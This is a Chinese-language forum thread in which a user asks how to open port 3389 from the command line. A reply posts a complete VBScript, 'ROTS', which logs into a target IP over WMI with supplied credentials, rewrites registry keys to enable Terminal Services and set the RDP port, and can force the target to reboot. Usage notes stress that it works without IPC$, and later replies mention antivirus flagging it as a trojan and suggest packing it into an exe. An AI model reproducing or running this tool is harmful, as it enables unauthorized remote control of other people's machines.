远程助手 ( 积分: 50 )

各位师兄师姐，请问一下如何用命令行开启3389端口？小弟在此先谢过了！

不会居心不良的吧。下面是提取的ROTS的脚本
on error resume next
set outstreem=wscript.stdout
set instreem=wscript.stdin
if (lcase(right(wscript.fullname,11))="wscript.exe&quot then
set objShell=wscript.createObject("wscript.shell&quot
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
wscript.quit
end if
if wscript.arguments.count<3 then
usage()
wscript.echo "Not enough parameters."
wscript.quit
end if

ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
if wscript.arguments.count>3 then
port=wscript.arguments(3)
else
port=3389
end if
if not isnumeric(port) or port<1 or port>65000 then
wscript.echo "The number of port is error."
wscript.quit
end if
if wscript.arguments.count>4 then
reboot=wscript.arguments(4)
else
reboot=""
end if

usage()
outstreem.write "Conneting "&ipaddress&" ...."
set objlocator=createobject("wbemscripting.swbemlocator&quot
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true
showerror(err.number)

outstreem.write "Checking OS type...."
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem&quot
for each objinstoscaption in colinstoscaption
if instr(objinstoscaption.caption,"Server&quot>0 then
wscript.echo "OK!"
else
wscript.echo "OS type is "&objinstoscaption.caption
outstreem.write "Do you want to cancel setup?[y/n]"
strcancel=instreem.read
if lcase(strcancel)<>"n" then wscript.quit
end if
next

outstreem.write "Writing into registry ...."
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov&quot
HKLM=&h80000002
with objinstreg
.createkey ,"SOFTWARE/Microsoft/Windows/CurrentVersion/netcache"
.setdwordvalue HKLM,"SOFTWARE/Microsoft/Windows/CurrentVersion/netcache","Enabled",0
.createkey HKLM,"SOFTWARE/Policies/Microsoft/Windows/Installer"
.setdwordvalue HKLM,"SOFTWARE/Policies/Microsoft/Windows/Installer","EnableAdminTSRemote",1
.setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Control/Terminal Server","TSEnabled",1
.setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Services/TermDD","Start",2
.setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Services/TermService","Start",2
.setstringvalue HKLM,".DEFAULT/Keyboard Layout/Toggle","Hotkey","1"
.setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp","PortNumber",port
end with
showerror(err.number)

rebt=lcase(reboot)
if rebt="/r" or rebt="-r" or rebt="/r" then
outstreem.write "Now, reboot target...."
strwqlquery="select * from win32_operatingsystem where primary='true'"
set colinstances=objswbemservices.execquery(strwqlquery)
for each objinstance in colinstances
objinstance.win32shutdown(6)
next
showerror(err.number)
else
wscript.echo "You need to reboot target."&vbcrlf&"Then,"
end if
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"

function showerror(errornumber)
if errornumber Then
wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
if err.description <> "" then
wscript.echo "Error description: "&err.description&"."
end if
wscript.quit
else
wscript.echo "OK!"
end if
end function

function usage()
wscript.echo string(79,"*&quot
wscript.echo "Remote Open Terminal services Script, by zzzEVAzzz"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r]"
wscript.echo "port: default number is 3389."
wscript.echo "/r: auto reboot target."
wscript.echo string(79,"*&quot&vbcrlf
end function


把上面的文件保存为 a.vbs
描述：远程启动终端服务的windows脚本。
特点：不依赖于目标的ipc$开放与否。
原理：直接访问目标的windows管理规范服务（WMI）。该服务为系统重要服务，默认启动。
支持平台：win2kpro win2kserver winxp win.net
使用方法：
在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本，例如：

c:/>cscript a.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项]
如cscript c:/scriptpath/a.vbs targetIP username password [port] [/r]

嘿嘿，试试吧。不过小心你自己的杀毒软件。

嘿嘿，我的诺顿就是厉害， 现在已经再报该页含有木马病毒了。

师兄谢了哟，能不能弄个简单的呀太长了！！！

这个还长？
上面用的都是MS系统自带的vbs支持，如果要短的话，估计不好做了。上面就一个文件，一个命令，要操作简单的话，你可以把vbs封装成流封装到你自己写一个控制台命令中。
或者你可以再做一个bat，用battoexe，转换成exe，直接文件名执行就好了。